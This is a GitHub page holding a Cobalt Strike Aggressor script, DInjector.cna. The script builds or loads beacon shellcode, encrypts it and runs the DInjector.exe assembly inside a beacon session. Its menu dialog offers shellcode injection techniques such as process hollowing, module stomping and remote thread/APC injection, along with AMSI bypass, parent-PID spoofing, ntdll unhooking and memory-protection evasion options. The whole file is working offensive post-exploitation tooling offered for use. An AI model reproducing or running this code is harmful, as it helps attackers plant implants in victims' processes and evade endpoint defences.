forked from trhacknon/DInjector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DInjector.cna
197 lines (159 loc) · 8.98 KB
/
DInjector.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
sub dinject {
local('%options $bid $handle $shellcode_filename $raw_shellcode $enc_shellcode $pass $cmd $python_cmd $tmp');
show_message("DInjector initiated! Wait for the beacon to call home");
%options = $3;
$bid = %options["bid"];
btask($bid, "\c7Tasked beacon to execute DInjector.exe assembly\o", "T1055");
# Choose shellcode
if (strlen(%options["custom_shellcode"]) > 0) {
# Custom shellcode
$shellcode_filename = %options["custom_shellcode"];
}
else {
# Generate beacon
$shellcode_filename = "/tmp/beacon.bin";
if (%options["staged"] eq "true") {
$raw_shellcode = payload(%options["listener"], "x64", %options["exitfunc"]);
}
else {
$raw_shellcode = artifact_payload(%options["listener"], "raw", "x64");
}
$handle = openf(">$shellcode_filename");
writeb($handle, $raw_shellcode);
wait($handle);
closef($handle);
}
# Start building the DInjector command assigning the injection technique first
$cmd = %options["technique"];
# Encrypt the shellcode based on the selected injection technique
$pass = gen_random_string(8, 12);
@python_cmd = @("python3", script_resource("encrypt.py"), "$shellcode_filename", "-p", "$pass", "-o", "/tmp/enc");
if ($cmd eq "CurrentThreadUuid") {
push(@python_cmd, "--uuid");
}
$handle = exec(@python_cmd);
wait($handle);
closef($handle);
# Read encrypted shellcode and base64 encode it
$handle = openf("/tmp/enc");
$enc_shellcode = readb($handle, -1);
wait($handle);
closef($handle);
$cmd .= " /sc:" . base64_encode($enc_shellcode);
# Construct the rest of the DInjector command
$cmd .= " /p:$pass";
$cmd .= " /protect:" . %options["protect"];
$cmd .= " /timeout:" . %options["timeout"];
$cmd .= " /flipSleep:" . %options["flipSleep"];
$cmd .= " /fluctuate:" . %options["fluctuate"];
$cmd .= " /image:" . %options["image"];
$cmd .= " /pid:" . %options["pid"];
$cmd .= " /ppid:" . %options["ppid"];
$cmd .= " /dll:" . %options["dll"];
$cmd .= " /stompDll:" . %options["stompDll"];
$cmd .= " /stompExport:" . %options["stompExport"];
$cmd .= " /sleep:" . %options["sleep"];
$cmd .= " /am51:" . %options["am51"];
$cmd .= " /remoteAm51:" . %options["remoteAm51"];
if (%options["blockDlls"] eq "true") {
$cmd .= " /blockDlls:True";
}
if (%options["unhook"] eq "true") {
$cmd .= " /unhook:True";
}
if (%options["debug"] eq "true") {
$cmd .= " /debug:True";
}
# Execute DInjector
bexecute_assembly($bid, script_resource("DInjector.exe"), "$cmd");
blog($bid, "\c7Executed command\cF:\cD execute-assembly DInjector.exe "
. %options["technique"] . " /sc:<BASE64>" . " /p:$pass" . " /protect:" . %options["protect"]
. " /timeout:" . %options["timeout"] . " /flipSleep:" . %options["flipSleep"] . " /fluctuate:" . %options["fluctuate"]
. " /image:" . %options["image"] . " /pid:" . %options["pid"] . " /ppid:" . %options["ppid"] . " /dll:" . %options["dll"]
. " /stompDll:" . %options["stompDll"] . " /stompExport:" . %options["stompExport"] . " /sleep:" . %options["sleep"]
. " /blockDlls:" . %options["blockDlls"] . " /am51:" . %options["am51"] . "/remoteAm51:" . %options["remoteAm51"]
. " /unhook:" . %options["unhook"] . " /debug:" . %options["debug"]);
}
sub gen_random_string {
local('@alphabet $len $i $str');
@alphabet = @("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k",
"l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
# Random string of length between $1 and $2
$len = rand($1) + $2;
for($i = 0; $i < $len; $i++) {
$str .= rand(@alphabet);
}
return $str;
}
popup beacon_bottom {
item "DInjector" {
local('$dialog %options');
%options["bid"] = $1[0];
# Setup options values
%options["staged"] = "false";
%options["exitfunc"] = "Process";
%options["technique"] = "CurrentThread";
%options["protect"] = "RX";
%options["timeout"] = "0";
%options["flipSleep"] = "0";
%options["fluctuate"] = "0";
%options["image"] = "C:\\Windows\\System32\\svchost.exe";
%options["pid"] = "0";
%options["ppid"] = "0";
%options["dll"] = "msvcp_win.dll";
%options["stompDll"] = "xpsservices.dll";
%options["stompExport"] = "DllCanUnloadNow";
%options["blockDlls"] = "true";
%options["sleep"] = "0";
%options["am51"] = "True";
%options["remoteAm51"] = "True";
%options["unhook"] = "false";
%options["debug"] = "false";
# Create a dialog
$dialog = dialog("Dynamic Shellcode Injection", %options, &dinject);
dialog_description($dialog, "Perform dynamic shellcode injection using a technique preferrable in current environment. WARNING: the beacon console may be flushed after execution!");
drow_file($dialog, "custom_shellcode", "[/sc] Custom shellcode:");
drow_listener_stage($dialog, "listener", "Listener:");
drow_checkbox($dialog, "staged", "Stage type (beacon payload):", "Use staged payload");
drow_combobox($dialog, "exitfunc", "Exit function (staged beacon payload):", @("Process",
"Thread"));
drow_combobox($dialog, "technique", "Injection technique:", @("FunctionPointer",
"FunctionPointerUnsafe",
"TimeFormats",
"ClipboardPointer",
"CurrentThread",
"CurrentThreadUuid",
"RemoteThread",
"RemoteThreadDll",
"RemoteThreadView",
"RemoteThreadKernelCB",
"RemoteThreadAPC",
"RemoteThreadContext",
"ProcessHollowing",
"ModuleStomping"));
drow_text($dialog, "protect", "[/protect] Memory protection for the shellcode (RX / RWX):");
drow_text($dialog, "timeout", "[/timeout] Timeout for WaitForSingleObject in ms (0 is serve forever):");
drow_text($dialog, "flipSleep", "[/flipSleep] Time to sleep with PAGE_NOACCESS on shellcode in ms (0 is disabled):");
drow_text($dialog, "fluctuate", "[/fluctuate] Memory protection for the shellcode to fluctuate with (0 is disabled):");
drow_text($dialog, "image", "[/image] Path to the image of a newly spawned sacrifical process to inject into:");
drow_text($dialog, "pid", "[/pid] Existing process ID to inject into:");
drow_text($dialog, "ppid", "[/ppid] Parent process ID to spoof the original value with:");
drow_text($dialog, "dll", "[/dll] Loaded DLL name to overwrite its .text section for storing the shellcode:");
drow_text($dialog, "stompDll", "[/stompDll] Name of the DLL to stomp:");
drow_text($dialog, "stompExport", "[/stompExport] Exported function name to overwrite:");
drow_text($dialog, "sleep", "[/sleep] Number of seconds (approx.) to sleep before execution (10s-60s)");
drow_combobox($dialog, "am51", "[/am51] AMSI (local):", @("False",
"True",
"Force"));
drow_combobox($dialog, "remoteAm51", "[/remoteAm51] AMSI (remote):", @("False",
"True",
"Force"));
drow_checkbox($dialog, "blockDlls", "[/blockDlls] DLLs:", "Block 3rd-party DLLs");
drow_checkbox($dialog, "unhook", "[/unhook] Unhook:", "Unhook ntdll.dll");
drow_checkbox($dialog, "debug", "[/debug] Debug:", "Print debug messages");
dbutton_action($dialog, "Inject");
# Show the dialog
dialog_show($dialog);
}
}